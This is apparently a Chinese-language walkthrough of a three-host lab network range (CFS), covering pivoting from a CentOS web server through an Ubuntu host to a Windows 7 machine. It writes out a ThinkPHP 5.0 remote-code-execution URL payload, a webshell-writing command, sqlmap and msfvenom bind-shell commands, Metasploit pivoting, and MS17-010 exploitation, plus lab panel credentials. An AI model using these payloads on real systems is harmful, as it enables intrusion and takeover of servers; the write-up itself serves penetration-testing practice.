CFS三层网络环境靶场实战

一、环境搭建:

根据作者公开的靶机信息整理

共有三个targets,目标是拿下三台主机权限,且是三层的网络环境,内网网段有192.168.22.0/24和192.168.33.0/24,添加两张仅主机模式网卡,配置如下:

 CFS三层网络环境靶场实战_第1张图片

 

 

 

虚拟机网卡设置

target1(centos) 双网卡模拟内外网:

外网:192.168.1.3,桥接模式

内网:192.168.22.128,仅主机模式

CFS三层网络环境靶场实战_第2张图片

 

 

 

target2(ubuntu) 双网卡存在两个内网网段:

内网1:192.168.22.22,仅主机模式

内网2:192.168.33.22,仅主机模式

CFS三层网络环境靶场实战_第3张图片

 

 

 

target3(win7) 单网卡仅内网:

内网:192.168.33.33,仅主机模式

 CFS三层网络环境靶场实战_第4张图片

 

 

 

开启web服务环境:

宝塔后台登陆地址及密码:

http://靶机外网ip:8888/a768f109/

账号:eaj3yhsl,密码:41bb8fee,根据实际靶机ip,配置即可,我的配置如下:

 CFS三层网络环境靶场实战_第5张图片

 

 

 

 

二、渗透实战:

0x01 target1

信息收集

 

nmap 192.168.1.3 -sV -T4

 CFS三层网络环境靶场实战_第6张图片

 

 

 

访问80端口,发现是thinkphp5.0

CFS三层网络环境靶场实战_第7张图片

 

 

 

②tp5.0 rce Getshell

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

 

 

 

 

直接使用echo写websehll(注意:linux下使用\转义$,windows下用^转义):

http://192.168.1.3/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "" >shell.php

CFS三层网络环境靶场实战_第8张图片

 

 

 

 

③MSF上线

我这里使用web_delivery模块一句话上线,因为方便,我懒...

CFS三层网络环境靶场实战_第9张图片

 

 

 

利用蚁剑执行即可上线:

 

 

 

 

 

横向移动

查看ip信息,发现有两个网卡

 CFS三层网络环境靶场实战_第10张图片

 

 

 

添加路由、socks代理,进行横向移动

 CFS三层网络环境靶场实战_第11张图片

 

 

 

添加成功

 CFS三层网络环境靶场实战_第12张图片

 

 

 

开启socks5代理

 CFS三层网络环境靶场实战_第13张图片

 

 

 

 

存活主机探测

发现一台ip为192168.22.22的主机,并且开启了80端口,应该是web服务

 CFS三层网络环境靶场实战_第14张图片

ok,target1就到此结束...

 

0x02 target2

信息收集

proxychains nmap 192.168.22.22 -sT -T4 -Pn

 CFS三层网络环境靶场实战_第15张图片

 

 

 

配置浏览器的socks5代理,访问80端口

 

 

 

 

是一个叫什么八哥CMS搭建的(没听过...)

CFS三层网络环境靶场实战_第16张图片

 

 

 

目录扫描

proxychains dirb http://192.168.22.22/

CFS三层网络环境靶场实战_第17张图片

扫出一个robots.txt,发现有两个admin的目录

 

发现是一个后台登陆界面,爆破就先不打算(除非万不得已)

 CFS三层网络环境靶场实战_第18张图片

 

 

 

等待了一会dirb的扫描结果,也没其他重要的目录,就从页面源代码收集一下信息吧,竟然直接给出了注入点...

CFS三层网络环境靶场实战_第19张图片

 

 

 

注入-->后台登陆

既然给出了注入点,那就直接sqlmap一把梭

proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" --batch

但是sqlmap一直无法连接url,就像这样....具体啥原因还不清楚...

 CFS三层网络环境靶场实战_第20张图片

 

 

 

所以就换成了超级sql注入工具(可配置socks代理)

 

 

 

 

获取到admin表的账号密码,解密为:123qwe

 CFS三层网络环境靶场实战_第21张图片

 

 

 

然后成功登陆后台

 CFS三层网络环境靶场实战_第22张图片

 

 

模板Getshell

巡视了一下后台的功能点,发现有熟悉的模板功能,发现可以直接修改文件

 CFS三层网络环境靶场实战_第23张图片

 

 

修改tag下的index.php文件,插入webshell

 CFS三层网络环境靶场实战_第24张图片

 

 

蚁剑添加socks代理后连接webshell

 CFS三层网络环境靶场实战_第25张图片

 

 

 

⑤MSF上线

生成一个bind正向连接的马

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=6666 -f elf -o test.elf

 

上传到目标服务器

 CFS三层网络环境靶场实战_第26张图片

 

 

给执行权限,并执行

 

 

 

MSF开启监听,即可收到会话

set payload linux/x86/meterpreter/bind_tcp 
set lport 6666 
set rhost 192.168.22.22 
run

CFS三层网络环境靶场实战_第27张图片

 

 

查看网卡配置,发现又多了一个192.168.33.0/24的网段

 CFS三层网络环境靶场实战_第28张图片

 

 

添加路由和socks代理

CFS三层网络环境靶场实战_第29张图片

添加多一个socks代理,注意要换一个端口

 

CFS三层网络环境靶场实战_第30张图片

 

 

 

 

 

探测存活主机

发现一台192.168.33.33存活主机

 CFS三层网络环境靶场实战_第31张图片

 

 

0x03 target3

信息探测

proxychains nmap -Pn -sT -T4 192.168.33.33

CFS三层网络环境靶场实战_第32张图片

开放了445和3389,无疑是windows了

 

 

漏洞利用

永恒之蓝肯定要试试的,毕竟emm....舒服嘛hahah,注意payload使用bind直连

使用ms17_010_eternalblue打失败了

 

 

尝试另一个利用模块psexec的,成功拿下target3

CFS三层网络环境靶场实战_第33张图片

 

 

 

三、总结:

总体来说这个靶机还是学到了挺多的,完整地体现了,是如何一步步利用跳板代理横向到最深处网络...

①Thinkphp5.x Rce漏洞利用,echo写马地注意事项

②MSF添加路由和socks代理,将Linux主机作为跳板从而横向移动

③八哥CMS的漏洞利用Getshell,sql注入-->后台管理登陆,后台模板Getshell

④Ms17-010的psexec利用模块的使用

⑤典型的三层网络环境,通过利用MSF强大的路由功能,不断添加路由+socks代理,横向移动到最后一层网络

你可能感兴趣的:(CFS三层网络环境靶场实战)